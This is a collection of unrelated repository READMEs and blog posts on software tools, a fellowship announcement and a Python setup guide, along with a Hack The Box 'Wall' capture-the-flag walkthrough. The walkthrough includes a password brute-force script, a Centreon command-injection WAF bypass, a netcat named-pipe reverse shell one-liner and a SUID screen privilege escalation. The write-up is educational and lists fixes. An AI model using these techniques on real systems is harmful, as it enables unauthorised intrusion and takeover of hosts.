text:
# php_installer [![Flattr this][flatter_png]][flatter]

Download and install PHP 5, selected PECL extensions,
the PHP Manual (English) in Windows Help (CHM) Format
which are available at http://www.php.net, and http://zend.com.

php_installer also performs the following:

* copies php.ini-recommended to php.ini and sets the following settings:
````
  extension_dir="C:\Program Files\php\ext"
  error_log="C:\Program Files\php\logs\phperror.log"
  upload_tmp_dir="C:\Program Files\php\uploads"
  session.save_path="C:\Program Files\php\sessions"
````

* Adds the following variables to your environment:

   `PHPRC=C:\Program Files\php`

* Adds the installation directory to your PATH environment variable.
	On 32-bit systems, this directory is usually `C:\Program Files\PHP`.
	On 64-bit systems, this directory is usually `C:\Program Files(x86)\PHP`.

php_installer looks in the directory where php_installer.exe is for
any files it needs before attempting to download them. If it does download a
file, it will attempt to save a copy of the file in this same directory.

## Usage

````
php_installer [options]

Options:
/S         Install the application silently with the default options selected
/D=path    Install into the directory 'path' (default is
           %ProgramFiles%\PHP)
/INSTYPE n Where n is a number between 0 and 7:
           1: PHP for Apache, PECL Extensions, and Manual (Thread Safe) (Default)
           2: PHP for Apache (Only)
           3: PHP for IIS, PECL Extensions, and Manual (Non-Thread Safe)
           4: PHP for IIS (Only)
           5: PECL Extensions for Apache (Only)
           6: PECL Extensions for IIS (Only)
           7: PHP Manual Only (CHM English)
           8: None
````

## Verify a Release

To verify a release, download the .zip, .sha256, and .asc files for the release
(replacing php_installer-5.6.7-win32.zip with the release you are verifying):

````
$ wget https://github.com/rasa/php_installer/releases/download/v5.6.7/php_installer-5.6.7-win32.zip{,.sha256,.asc}
````

Next, check that sha256sum reports "OK":
````
$ sha256sum -c php_installer-5.6.7-win32.zip.sha256
php_installer-5.6.7-win32.zip: OK
````

Lastly, check that GPG reports "Good signature":

````
$ gpg --keyserver hkps.pool.sks-keyservers.net --recv-key 0x105a5225b6ab4b22
$ gpg --verify php_installer-5.6.7-win32.zip.asc php_installer-5.6.7-win32.zip
gpg:                using RSA key 0xFF914F74B4BB6EF3
gpg: Good signature from "Ross Smith II<EMAIL_ADDRESS>[ultimate]
...
````

## Contributing

To contribute to this project, please see [CONTRIBUTING.md](CONTRIBUTING.md).

## Bugs

To view existing bugs, or report a new bug, please see [issues](../../issues).

## Changelog

To view the version history for this project, please see [CHANGELOG.md](CHANGELOG.md).

## License

This project is [MIT licensed](LICENSE).

## Contact

This project was created and is maintained by [Ross Smith II][] [![endorse][endorse_png]][endorse]

Feedback, suggestions, and enhancements are welcome.

[Ross Smith II]<EMAIL_ADDRESS><EMAIL_ADDRESS>[flatter]: https://flattr.com/submit/auto?user_id=rasa&url=https%3A%2F%2Fgithub.com%2Frasa%2Fphp_installer
[flatter_png]: http://button.flattr.com/flattr-badge-large.png "Flattr this"
[endorse]: https://coderwall.com/rasa
[endorse_png]: https://api.coderwall.com/rasa/endorsecount.png "endorse"


text:
# Movies

Gem to help tidy your movies collection. Looks up data from TheMovieDatabase and then
organises your collection based on a preferred format.

 eg. [Year] - [Director] - [Title]

 -

## Installation

Add this line to your application's Gemfile:

    gem 'movies'

And then execute:

    $ bundle

Or install it yourself as:

    $ gem install movies

## ToDo

    - create Local SQLLite DB for fast indexes
    - add .MovieMeta for files that have been processed
    - Anonymous stats

## Usage

    `movies scan <folder>`

    `movies scan <file>`

## Contributing

1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new Pull Request

license: MIT

repository: arnold-almeida/movies

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: arnold-almeida/movies


text:
# themer-prototypes

This repository contains early prototyping and experimental work for adding a Card theming feature. That work is now part of the builder/cardhost app found in the [Cardstack mono-repo](https://github.com/cardstack/cardstack), and this repo is now deprecated.

The goal was to get a sense of which browser-based code editors would be helpful for us when adding a theming option to the Card Builder.
The outcome will be the creation of a new, separate package that integrates with the Cardstack ecosystem.
At that point, this repository will be archived.

## Prerequisites

You will need the following things properly installed on your computer.

* [Git](https://git-scm.com/)
* [Node.js](https://nodejs.org/) (with npm or yarn)
* [Ember CLI](https://ember-cli.com/)
* [Google Chrome](https://google.com/chrome/)

## Installation

* `git clone <repository-url>` this repository
* `cd themer-frontend`
* `yarn install` or `npm install`

## Running / Development

* `ember serve`
* Visit your app at [http://localhost:4200](http://localhost:4200).
* Visit your tests at [http://localhost:4200/tests](http://localhost:4200/tests).

### Code Generators

Make use of the many generators for code, try `ember help generate` for more details

### Running Tests

* `ember test`
* `ember test --server`

### Linting

* `yarn lint:hbs`
* `yarn lint:js`
* `yarn lint:js -- --fix`

(use `npm run <command>` if you don't use yarn)

### Building

* `ember build` (development)
* `ember build --environment production` (production)

### Deploying

```sh
AWS_PROFILE="ember-deploy" ember deploy production
```

This will use the access keys following normal AWS resolution.
See config in `deploy.js` for the destination.

## Further Reading / Useful Links

* [ember.js](https://emberjs.com/)
* [ember-cli](https://ember-cli.com/)
* Development Browser Extensions
  * [ember inspector for chrome](https://chrome.google.com/webstore/detail/ember-inspector/bmdblncegkenkacieihfhpjfppoconhi)
  * [ember inspector for firefox](https://addons.mozilla.org/en-US/firefox/addon/ember-inspector/)

repository: cardstack/themer-prototypes

gha_language: JavaScript

gha_license_id: MIT

repo_name: cardstack/themer-prototypes


text:
# # PostalAddress

## Properties

Name | Type | Description | Notes
------------ | ------------- | ------------- | -------------
**streetName** | **string** | Street name used for the payer postal address. | [optional]
**buildingNumber** | **string** | Land registry no. used for the payer postal address. | [optional]
**postCode** | **string** | Postcode used for the payer postal address. | [optional]
**townName** | **string** | Town name used for the payer postal address. | [optional]
**country** | **string** | CountryCode, ISO 3166 (2 alphanumeric characters code version). | [optional]
**addressLine** | **string** | Unstructured record of payer postal address. | [optional]

[[Back to Model list]](../../README.md#models) [[Back to API list]](../../README.md#endpoints) [[Back to README]](../../README.md)

repository: finbricks/finbricks-php-sdk

gha_language: PHP

repo_name: finbricks/finbricks-php-sdk


text:
![](Logo.png)

# Caching Proxy Factory

Setup and run your own caching proxy server.

*Note:* Current project version is dedicated for software development purposes only.

All development and project releases are now located under [Server Factory](https://github.com/Server-Factory) repository.

New repository is:

https://github.com/Server-Factory/Caching-Proxy-Factory


text:
# Elixir_Solutions

Similar to my [Ruby-Solutions](https://github.com/tarellel/Ruby-Solutions) repo, which solves various sample interview coding solutions. But this repo contains solutions that have been done using [Elixir](http://elixir-lang.org/).


text:
---
id: 4935
title: 2012 Fellow Selection Committee
date: 2011-04-13T12:21:52+00:00
author: Abhi Nemani
layout: post
guid: http://codeforamerica.org/?p=4935
permalink: /2011/04/13/2012-fellow-selection-committee/
dsq_thread_id:
  - 278698830
categories:
  - News
---
Everyday, we get the privilege of reading a new application for our fellowship program, and we see first-hand the passion and enthusiasm among citizens from across the country to give back and make a difference. This is rewarding work. Just as rewarding, though, is the opportunity to share our candidates’ stories with the diverse, knowledgeable, and experienced group on our Fellow Selection Committee. Ranging from entrepreneurs like Jake Nickell, Anil Dash, and Micki Krimmel to expert technologists like Irene Au, Matt Knox, and Margeigh Novotny, dozens have stepped up to help us take on the important and challenging work of selecting the best possible class of fellows for 2012.

And it won’t be easy. We have already received over a hundred applications for our [2012 fellowship](http://codeforamerica.org/fellows), and with our [Early Decision](http://codeforamerica.org/fellows/apply) deadline around the corner — [Friday, April 15, so get your applications in!](http://codeforamerica.org/fellows/apply) — we expect even more. We will rely on the committee’s judgement and insight to help us make the tough choices and put together a class that can and will make us proud.

**Code for America 2012 Fellowship Selection Committee**

  * Andrew Greenhill, City of Tuscon
  * Andrew Hoppin, New Amsterdam Ideas
  * Anil Dash, Expert Labs
  * Bryan Sivak, Entrepreneur
  * Clay Johnson, Big Window Labs
  * Craig Shapiro, Collaborative Fund
  * Daniel X O’Neil, EveryBlock
  * David Eaves, Code for America
  * DJ Patil, Color
  * Eric Rodenbeck, Stamen Design
  * Irene Au, Google
  * Jake Nickell, Threadless
  * Jay Nath, City of San Francisco
  * John Bracken, Knight Foundation
  * John Lilly, Greylock Partners
  * Kelly Goto, gotomedia
  * Kevin Curry, CityCamp
  * Lane Becker, Get Satisfaction
  * Mamie Rheingold, Google
  * Margeigh Novotny, Microsoft
  * Maria Giudice, Hot Studio
  * Matt Knox, Twitter
  * Michal Migurski, Stamen Design
  * Micki Krimmel, Neighbor Goods
  * Monica Harrington, Code for America
  * Nick Grossman, OpenPlans
  * Nigel Jacob, City of Boston
  * Peter Corbett, iStrategyLabs
  * Shawn Allen, Stamen Design
  * Tim O’Reilly, O’Reilly Media
  * Wendy Owen, Giant Ant


text:
# "I'd vote for Hillary, But..." | Hillary Clinton Myths

A website to refute myths and misconceptions about Hillary Clinton. The live version is at https://hillarymyths.org.

## Set up
You can skip this step if you already have Ruby and Bundler installed.

1. Get Ruby. Note that these instructions are for OS X 10.6+ only, which comes with Ruby, but it's used for system's own purposes. Follow these steps to avoid mucking with that Ruby's config.
    1. Install [homebrew](http://brew.sh/)
    2. Run `brew update`
    3. Run `brew install rbenv`
    4. Follow [instructions](https://github.com/rbenv/rbenv#installing-ruby-gems) to hook `rbenv` into your shell. Basically, you'll need to run `rbenv init` and then add something like `eval "$(rbenv init -)"` to your `~/.bash_profile`.
    5. Run `rbenv install 2.3.1`
    6. Run `rbenv shell 2.3.1`
    7. Run `ruby --version`. You should see something like
        ```
           ruby 2.3.1p112 (2016-04-26 revision 54768) [x86_64-darwin15]
        ```
2. Get Bundler by running `gem install bundler`.
3. Run `bundle install` in the project folder i.e. i-like-hillary-but to install project dependencies.

## Develop
1. Run `bundle exec jekyll serve` to start a local server.
2. Copy/paste the server address into your favorite browser's address bar.
3. You should see the built site.
4. Making changes to the source will automatically regenerate Jekyll content.
5. Refresh the page to see the changes.

## Test
1. Run `rake`. This exact thing will happen automatically when you post a pull request. As a result, your pull request will either have the "All checks passed" or "All checks failed" from a mysterious Travis CI. If you get an error, click on `Details` to see the results of the test run.
2. When the test fails, it usually comes up with a list of errors. Here's a handy guide to some errors:
    1. The `404 No error` message means that the link in your article is likely leading to a dead end. Please double-check the link.
    2. The `302 Number of redirects hit maximum amount` error sometimes happens when the site you're linking to takes special measures to protect against bots (such as the link-checker in our test).
3. If you are satisfied with your check, but the error still appears, you can suppress it by adding the `{:data-proofer-ignore="true"}` incantation at the end of the link markdown. For example:

```
... Well, [one study](http://psycnet.apa.org/journals/emo/9/5/649/){:data-proofer-ignore="true"} indicates ...
```

## Contributing

Content, UI design, and frontend code contributions are welcome. Please see [our list of open issues](https://github.com/DevProgress/i-like-hillary-but/issues). Please see our [Contribution Guide](CONTRIBUTING.md) for more detail. The guide also covers the [DevProgress code of conduct](https://github.com/DevProgress/code-of-conduct) and the [DevProgress Contributor Agreement](https://github.com/DevProgress/contributor-agreement).

repository: DevProgress/i-like-hillary-but

gha_language: HTML

repo_name: DevProgress/i-like-hillary-but


text:
[![Build Status](https://travis-ci.org/ohager/magic-mapper.svg?branch=master)](https://travis-ci.org/ohager/magic-mapper)
[![codecov](https://codecov.io/gh/ohager/magic-mapper/branch/master/graph/badge.svg)](https://codecov.io/gh/ohager/magic-mapper)

# ✨ magic-mapper
Minimalistic, flexible and easy-to-use JSON mapper 🍰 🍭 🎉

``npm install magic-mapper --save``

``yarn add magic-mapper``

This tiny library helps you to map one JSON object into another.
Its basic features are:

- selective property transformations
- exclusive property selection
- global property and value transformation

## Selective Property Transformation

If using a schema you can define how to transform object properties selectively, e.g.

```javascript

const originalObject = {
	id : 1,
	name: 'John',
	lastName: 'Doe',
	birthDate: '1996-03-27T17:03:02Z'
}

const mapper = new MagicMapper();
const mappedObject = mapper.map(originalObject, {
	    birthDate: date => moment(date).locale('de').format('LLLL')
    })
/*
mappedobject = {
	id : 1,
	name: 'John',
	lastName: 'Doe',
	birthDate: 'Mittwoch, 27. März 1996 14:03'
}
 */

```

## Exclusive Property Selection

Per default, _all_ properties are mapped, but you may want to select only a subset of the properties.

```javascript

const originalObject = {
	id : 1,
	name: 'John',
	lastName: 'Doe',
	birthDate: '1996-03-27T17:03:02Z'
}

const mapper = new MagicMapper({exclusive: true}); //< set exclusive flag
const mappedObject = mapper.map(originalObject, {
	    birthDate: date => moment(date).locale('de').format('LLLL')
    })
/*
mappedobject = {
	birthDate: 'Mittwoch, 27. März 1996 14:03'
}
 */

```

## Global Property and Value Transformation

Sometimes, you want to apply some transformations for _all_ properties. You can either use a global
transformation function for the property values, or even for the property names itself.

```javascript

const originalObject = {
	id : 1,
	name: 'John',
	lastName: 'Doe',
	birthDate: '1996-03-27T17:03:02Z'
}

const mapper = new MagicMapper({
    propertyTransform: propertyName => propertyName[0].toUpperCase() + propertyName.substr(1),
    valueTransform: value => typeof value === 'string' ? value.toUpperCase() : value
});

const mappedObject = mapper.map(originalObject, {
	    birthDate: date => moment(date).locale('de').format('LLLL')
    })
/*
mappedobject = {
	Id : 1,
	Name: 'JOHN',
	LastName: 'DOE',
	BirthDate: 'Mittwoch, 27. März 1996 14:03'
}
*/
```

# Advanced Mapping

## Mapping Schema

The schema is used for two purposes,

- Define exclusive mapping
- Define property transformations

> ☠ When used for exclusive mapping a schema is mandatory.

A schema is just a JSON object, that should match structurally to the input object.
The values describe how to map the related property. Following value types are possible

  1. Function - use a _fn(value)_ or _(v) => {...}_  to transform the value into something new
  2. Fixed Value - to use the value directly
  3. MagicMapper.Direct - a symbol to express that original value shall be used
     -> when using _options.exclusive=false_ the direct mapping is applied automatically for _all_ properties,
     except the schema says something different.

> ☠ When using global property transformation, use the transformed property names instead.

### Schema Example

```javascript
const originalObject = {
	id : 1,
	name: 'John',
	lastName: 'Doe',
	birthDate: '1996-03-27T17:03:02Z'
}

const mapper = new MagicMapper(); //< implicitely exclusive=false, no global transformation
const mappedObject = mapper.map(originalObject, {
        id: null, // maps always 'null'
        name: MagicMapper.Direct, // uses original value
	    birthDate: date => moment(date).locale('de').format('LLLL') // transforms date
    })
/*
mappedobject = {
    id: null,
    name: 'John',
    lastName: 'Doe' //< was mapped implicitely
	birthDate: 'Mittwoch, 27. März 1996 14:03'
}
*/
```

## Mapping Nested Objects

Mapping nested objects is straightforward. Just define a nested schema conforming your needs.

### Example
```javascript
const originalObject = {
    id : 1,
    name: 'John',
    lastName: 'Doe',
    birthDate: '1996-03-27T17:03:02Z',
    father: {
        id : 1,
        name: 'John Sr.',
        lastName: 'Doe',
        birthDate: '1956-01-02T14:56:20Z',
    }
}

const toGermanDate = date => moment(date).locale('de').format('LLLL');

const mapper = new MagicMapper();
const mappedObject = mapper.map(originalObject, {
    birthDate : toGermanDate,
    father: {
    	birthDate: toGermanDate
    } // nested mapping
})
```

### Example with different mappers

You can also combine mapping functions to map nested objects with different mappers

```javascript
const originalObject = {
    id : 1,
    name: 'John',
    lastName: 'Doe',
    birthDate: '1996-03-27T17:03:02Z',
    father: {
        id : 1,
        name: 'John Sr.',
        lastName: 'Doe',
        birthDate: '1956-01-02T14:56:20Z',
    }
}

const toGermanDate = date => moment(date).locale('de').format('LLLL');

const mapper = new MagicMapper();
const fatherMapper = new MagicMapper({exclusive:true});

const mappedObject = mapper.map(originalObject, {
    birthDate : toGermanDate,
    father: f => fatherMapper.map(f, {
    	name: MagicMapper.Direct,
    	lastName : MagicMapper.Direct
    })
})
```

## Mapping Arrays

Arrays can be mapped as it were normal objects.
If the initial object is an Array, the mapped result will be an Array, too.

```javascript

const originalObject = [ {a:1},{a:2} ]
const mapper = new MagicMapper();
const mappedObject = mapper.map(originalObject, {
	a : a => a * 2
})

/*
mappedObject = [{a:2},{a:4}]
*/

If you want to transform the arrays values you can simply do this:

```javascript

const originalObject = {
	values : [ 1,2,3 ]
}

const mapper = new MagicMapper();
const mappedObject = mapper.map(originalObject, {
	values : a => a.map( v => v*2 )
})

/*
mappedObject = {
    values: [2,4,6]
}
*/

```

repository: volythat/magic-mapper

repo_name: volythat/magic-mapper


text:
---
layout: post
title:  "HTB: Wall Walkthrough"
categories: writeups HTB
permalink: /:categories/:title
---

![Wall Logo](../../assets/img/writeups/htb/wall/info_card.png)

Date: 1/24/2020
Author: n0tAc0p

Table of Contents
1. TOC
{:toc}

**This is a rewrite of a PDF writeup I did for Wall a few months ago.**

### TL;DR

`POST directory enumeration --> Easily bruteforced credentials --> Centreon RCE Vulnerability --> Screen SUID bit = instant root`

### Recon and Enumeration

Starting with `masscan`, it found open ports on 22 and 80. Following that up with a detailed TCP scan:

{:refdef: style="text-align: center;"}
![Detailed Port Scan](../../assets/img/writeups/htb/wall/detailed_port_scan.png)
{: refdef}

So we have:

22 (SSH)
80 (HTTP)

Navigating to <IP_ADDRESS> in the browser, we found the default Apache Page. We ran gobuster with `/user/share/wordlists/dirb/common.txt` and found the following (the only files we had access too):

/aa.php
/index.html
/panel.php
/monitoring (directory)

aa.php and panel.php were nearly useless. They each had a single line of text, that offered no help. The monitoring directory was password protected via HTTP Authentication. Talking with others on the forums, they suggested I try different "verbs" in order to find what I was looking for.

#### "Verb" Usage

Luckily it clicked for me, and I tried to access the above URLs with POST requests instead of GET (hence, another VERB). If we make a post request to /monitoring, we are greeted with a custom redirect messsage.

{:refdef: style="text-align: center;"}
![Centreon Redirect](../../assets/img/writeups/htb/wall/verb_usage.png)
{: refdef}

The URL: <IP_ADDRESS>/centreon presented a login page for a service called `centreon`

{:refdef: style="text-align: center;"}
![Centreon Login](../../assets/img/writeups/htb/wall/centreon_login.png)
{:refdef}

### Initial Foothold

Centreon is an IT monitoring tool, which can give business owners a snapshot of their network at a high level. More information can be found at their [website](https://www.centreon.com/en/){:target="_blank"} ([1])

The default credentials `root:centreon` did not work. Unable to find plaintext passwords anywhere, I was left to brute forcing. Instead of relying on `hydra`, I wrote a python script that brute forces the login
page through the API ([API documentation](https://documentation.centreon.com/docs/centreon/en/19.04/api/index.html){:target="_blank"}) ([2]). This gets around having to grab the CSRF token, and was more fun.

~~~python
import sys
from pathlib import Path
from requests import post

if len(sys.argv) < 3:
    print("Usage python3 centreonPasswordCrack <username> <wordlist_path>")
    exit(0)

count = 0
username = sys.argv[1]
# URL params
params = {"action":"authenticate"}
URL = "http://<IP_ADDRESS>/centreon/api/index.php?"

with open(str(sys.argv[2]), "r") as f:
    while f:
        password = f.readline().strip()
        print("Count: {}, Password: {}".format(count, password))
        # Post body content
        data = {"username": username, "password": password}
        response = post(url=URL, params=params, data=data)
        count += 1
        # An authentication token is returned if the credentials are correct
        if response.text != '"Bad credentials"':
            print("Found Password: {}. Response: {}".format(password, response.text))
            break
~~~

Running the script, we found that `admin:password1` were valid credentials. Sure enough, we could login to Centreon.

#### Centreon RCE

We found the Centreon version to be 19.04. After some quick googling, we came across an [article](https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/){:target="_blank"} by the box's creator (coincidence?) ([3]).

We copy and pasted the exploit from the blog post and tried it out... but it did not work (shocker).

After reading about the exploit, it boils down into two steps:
1. Create a new "poller" object, and inject our command into a certain field
2. Call a specific function, which calls our injected code

The code in question:
{:refdef: style="text-align: center;"}
![Vulnerable Code](../../assets/img/writeups/htb/wall/vulnerable_code.png){:target="_blank"}
{: refdef}

So it looks like the server executes the parameter "nagios_bin" (which we have control over). The vulnerable function lies in a debug function that we can call by navigating to it in the browser. We notice that our command is concatinated with other commands, so we will need to comment out the line after our payload.

#### Attempt at Manual Exploitation

We created a new poller, and attempted to get a reverse shell. Yet no matter which reverse shell payload we used, the server gave us 403 Not Found errors. When I entered commands with 0 spaces, it seemed to work fine. Talking with others on the forums, I determined there was a web application firewall (WAF) protecting the server. A WAF sits in between the server and the backend and sanitizes user input. If it finds blacklisted input, it can deny access to a resource (which is what happened to us).

Trying whoami

{:refdef: style="text-align: center;"}
![Whoami Poller](../../assets/img/writeups/htb/wall/injection_point.png)
{: refdef}

What we got when we tried to get a reverse shell
{:refdef: style="text-align: center;"}
![403 Forbidden](../../assets/img/writeups/htb/wall/403_forbidden.png)
{: refdef}

#### The "Better Way"

**This is a retrospection based on watching IPPSEC and reading other writeups**

The better way at handling getting user on this box is:
1. Create our payload
2. Encode it with Base64
3. Use ${IFS} as a space (since space is a blacklisted character)
4. Modify the central poller to contain our payload, then call the debug function through the GUI

I really wish I had thought of this way, but it was great to learn another approach from others.

#### My Way

Now for the way I actually did it. It leverages the Centreon API, and does not touch the GUI. Hindsight is 20/20, but I think this was still an interesting way to solve the problem and utilize the API.

I wrote a python script that can be found [here](https://github.com/frank-cerny/HackTheBox/tree/master/wall/scripts){:target="_blank"} (much too long for an article) but the steps taken are as follows:
1.	Get a valid session token by submitting a POST request through the login form
2.	Set all current pollers to be non-local host
3.	Create our poller
4.	Modify it to contain part 1 of our payload and execute
5.	Modify it to contain part 2 of our payload and execute
6.	Delete the poller (reverse shell should be active)
7.	Reset all pollers that were originally localhost back to localhost

Payload part 1: mknod /tmp/backpipe p
Payload part 2: /bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe &

How does this payload work?

Part 1:
Create a special FIFO file called backpipe, inside /tmp. This creates a “named pipe,” and allows us to have our own I/O device of sorts on the machine. That is, we can redirect input and output to and from it, and use it in interesting ways.

[Pipe Documentation for more information](http://man7.org/linux/man-pages/man7/fifo.7.html){:target="_blank"}

~~~bash
/bin/sh 0</tmp/backpipe | nc {} {} 1>/tmp/backpipe &
~~~

Part 2:
1.	Start the /bin/sh process
2.	Redirect all input from /tmp/backpipe to file descriptor 0 (which is standard input), so /bin/sh gets all its input from our pipe
3.	Start a process of netcat back to our local machine
4.	Redirect standard output (file descriptor 1) to our pipe

So, when we type commands, netcat routes the standard input it receives (our commands) to our pipe, which is then routed to /bin/sh, where they are executed, and produce some standard output. Then we see the output of our commands as normal output on our reverse shell. All credit to [this site](https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/){:target="_blank"}  for figuring that out ([5]). I wanted to do something like this, but would have not figured it out on my own

Some things to note:
1.	Using the API means we can bypass the WAF, and inject anything we want 😊
2.	For us to execute our payload, our poller must be the only “Central Poller” active. Making a poller localhost sets it to be central. But, if there is already a central poller, the original poller marked as central will still have precedence. Therefore, we must specifically toggle off localhost for every poller BEFORE we create our own
3.	We comment out everything after our payload, so it is the only thing that gets executed when we call the debug function
4.	There are multiple steps that must be taken to create a poller. Take a look at the code and comments to understand what they are, and why they must be done.

**Number 2 is important because otherwise, no matter which poller id my new poller was, I could only execute commands on the Central Poller**

Running our exploit, we get a shell back as `www-data`

{:refdef: style="text-align: center;"}
![Exploit Run](../../assets/img/writeups/htb/wall/exploit_run.png)
{: refdef}

{:refdef: style="text-align: center;"}
![www-data user](../../assets/img/writeups/htb/wall/www_data_user.png)
{: refdef}

### Privilege Escalation

This box was interesting in the fact that we could escalate directly to root.

We ran linEnum on the box and found a very suspicious screen binary that has a SUID bit enabled. If you are unfamiliar, a SUID bit means that when we run the binary, we run with the same permissions as the file owner

~~~bash
-rwsr-xr-x 1 root root 1595624 Jul 4 00:25 /bin/screen-4.5.0
~~~

In this case, the file is owned by root. So if execute it, we will run it under root permissions.

#### Screen SUID

I was almost positive that this binary was unsafe. After some quick googling, I found an entry on [exploit db](https://www.exploit-db.com/exploits/41154){:target="_blank"} ([4]). I copied the exploit the my shell, ran it, and not-suprisingly, got a root shell. Much easier than I anticipated. Once we had the root shell, it was easy to go inside `/home/shelby` and get the user hash as well.

{:refdef: style="text-align: center;"}
![root user](../../assets/img/writeups/htb/wall/root_user.png)
{: refdef}

### Conclusion

#### Fixes

Listed below are my suggested fixes to vulnerablities found on the box. As always, my suggestions may be incorrect, and are most likely not the only way to apporach fixing vulns.

1. Discovered Centreon via a POST request (without authenticating first)
   **Fix: Do not allow POST requests on pages where GET requests require authentication**
2. Was able to brute force a password for the admin user for Centreon
   **Fix: Use unique usernames (not admin) and use a more secure password (according to whatever framework you like)**
3. Remote Code Execution on Poller Parameter allows for a reverse shell
   **Fix: Sanitize user input before calling a shell_exec()**
4. Escalate directly to root via a SUID bit on the screen binary
   **Fix: Do not include SUID bits on binaries unless it is absolutely necessary (in this case, it is NOT necessary)**

#### Final Thoughts

Getting a foothold on this box was infuriating, and challenging. Even more so once I figured out I took the most time consuming route possible. Still, I learned some new enumeration techniques, and was able to brush up on my python. Shoutout to `askar` for creating the box, and thanks for reading. Onto the next one...

*As always, if you have any questions or feedback, please contact me on HTB! I am always looking to improve my writing to make it as clear and concise as possible (while remaining somewhat beginner friendly). Happy Hacking!*

### References

1. Centreon Homepage: https://www.centreon.com/en/
2. Centreon API: https://documentation.centreon.com/docs/centreon/en/19.04/api/index.html
3. Askar's RCE Blog post: https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/
4. Screen Exploit DB: https://www.exploit-db.com/exploits/41154
5. Reverse Shell with mknod: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/.

repository: frank-cerny/security-blog

extension: markdown

gha_language: Ruby

repo_name: frank-cerny/security-blog


text:
# Medical Entity Relation Verification with Large-scale Machine Reading Comprehension

```
@inproceedings{merv_kdd21,
title = {Medical Entity Relation Verification with Large-scale Machine Reading Comprehension},
author = {Xia, Yuan and Wang, Chunyu and Shi, Zhenhui and Zhou, Jingbo and Lu, Chao and Huang, Haifeng and Xiong, Hui},
booktitle = {Proceedings of the 27th ACM SIGKDD Conference on Knowledge Discovery \& Data Mining (KDD)},
pages = {3765--3774},
year = {2021}
}
```

links
- [acm](https://dl.acm.org/doi/10.1145/3447548.3467144)

gha_language: Jupyter Notebook


text:
---
layout: page
title: About
permalink: /about/
---

I'm just learning to solve intriguing puzzles and seemingly complex ideas and trying to make them simple.

### Just a Little Bit More About Me

I first started to get interested in programming when I was 18 (2015). Through research on reddit I found different learning resources from codecademy to FreeCodeCamp. FreeCodeCamp was the most interesting to me as solving real problems with user stories tested me on a daily basis. I remember accessing the Twitch API and building a project for FreeCodeCamp using the Twitch API. What an incredibly frustrating experience for someone new to programming.

The continually frustrating moments taught me habits I continue to rely on even outside of programming: dividing problems into smaller problems, VIGORIOUS Google searching, and empathy for end-users and their experience.

### Contact me

[crandonriordan@gmail.com](crandonriordan@gmail.com)


text:
---
title: Opcode SetChatServer
searchTitle: Lua Opcode SetChatServer
weight: 1
hidden: true
menuTitle: Opcode SetChatServer
---
## SetChatServer

This represents a SetChatServer opcode
```lua
Opcode.SetChatServer
```

repository: xackery/eqquestapi

repo_name: xackery/eqquestapi


text:
---
title:  Installing Python on macOS (without going insane)
---

If you're like me (or [Randall Munroe][xkcd]), the results of typing
`which -a python` on your macOS machine is... devastating:

[![xkcd about Python path](https://imgs.xkcd.com/comics/python_environment.png)](https://xkcd.com/1987/)

[xkcd]: https://xkcd.com/

After many years of frustration, here are my recommendations for
installing Python and Python-written utilities on macOS.

So what do I use Python for?
----------------------------

I use Python for **library development**, **web development with
Django**, and **scripting**. I use Python primarily from the **command
line**. I don't really use Python for data science—at least not with
Jupyter notebooks. I have absolutely no idea how to use `conda`. If you
use Python primarily for data science, this guide is _not_ written
for you—there may be better solutions that I simply do not use.
If your use case sounds similar to mine, please read on!

Do **NOT** install Python from python.org
=================================

It seems pretty obvious that you should install Python using the
installer from [Python's official website][python.org].

![Do you want to die?]({{ '/images/installing-python/do-you-want-to-die.jpg' | relative_url }})

The problem with this is that Python installs itself in a place that is
difficult to manage _without_ using administrator (i.e., `sudo`) privileges.
This is okay for beginners, or people who only touch Python every so
often. However, for _my_ use cases, where I'm testing my code in
multiple versions of Python, and have multiple [virtual environments][],
this becomes bad news.

[python.org]: https://www.python.org/
[virtual environments]: https://docs.python.org/3/tutorial/venv.html

Homebrew
========

If you haven't used [Homebrew][] to install things on your Mac, go get it
right now! I'll wait.

[Homebrew]: https://brew.sh/

We're going to use Homebrew to install `pyenv`.

Do **not** install Python with Homebrew, though. Instead...

Manage multiple Python versions with `pyenv`
============================================

Install [pyenv][] so that you can install multiple versions of Python
and switch between them with ease:

```sh
brew install pyenv
```

[pyenv]: https://github.com/pyenv/pyenv

Putting `pyenv` in charge by adding it to the `PATH`
----------------------------------------------------

Now you need to make sure your system can see the **shims** that `pyenv`
creates. Shims are fake versions of _all_ programs associated with
a Python install. This allows `pyenv` to intercept a command and
redirect it to the current or desired version of Python.

To do this, **prepend** the shim directory to your path. Add this line to the
**bottom** of your [shell startup file][] (either `~/.zshrc` or
`~/.bash_profile` depending on either how new your Mac is or if you've
customized your shell ¯\\_(ツ)\_/¯):

[shell startup file]: https://stackoverflow.com/questions/15101559/terminal-where-is-the-shell-start-up-file

```sh
export PATH="$HOME/.pyenv/shims:$PATH"
```

The shim directory must be the **first** thing in your path, or at
least, it has to come _before_ `/usr/bin/` and `/usr/local/bin`.

Now that you have added the line to your shell startup file,
**restart your shell** for it to take effect. You can do this by closing
your current terminal tab/window, and opening a new
one, or in the same terminal/tab, you can do the following:

```sh
exec $SHELL
```

Let's make sure our `PATH` looks right. To look at your path, use the
following line:

```sh
printenv PATH
```

This is what my `PATH` environment variable looks like on my laptop:

```
/Users/eddieantonio/.pyenv/shims:/usr/local/bin:/usr/local/sbin:/bin:/usr/sbin:/sbin:/Library/TeX/texbin:/opt/X11/bin:/Users/eddieantonio/.local/bin
```

<small>Kind of. I removed a few entries from my PATH to save myself from
embarrassment.</small>

Installing a Python version!
----------------------------

Now let's install a modern version of Python. As of this writing, the
current stable version of [CPython][] is Python 3.8.1. Let's install it with
Pyenv!

```sh
pyenv install 3.8.1
```

If you want to see all the versions of Python that `pyenv` can install
for you, you can list them:

```sh
pyenv install --list
```

This should be a pretty long list, with all kinds of alternate Python
interpreters, including [PyPy][] and [Stackless][]. Install as many as
you need!

[PyPy]: https://pypy.org/
[Stackless]: https://github.com/stackless-dev/stackless
[CPython]: https://en.wikipedia.org/wiki/CPython

Choose your default Python
--------------------------

Now tell `pyenv` the default version you want to use. Do this with `pyenv
global`:

```sh
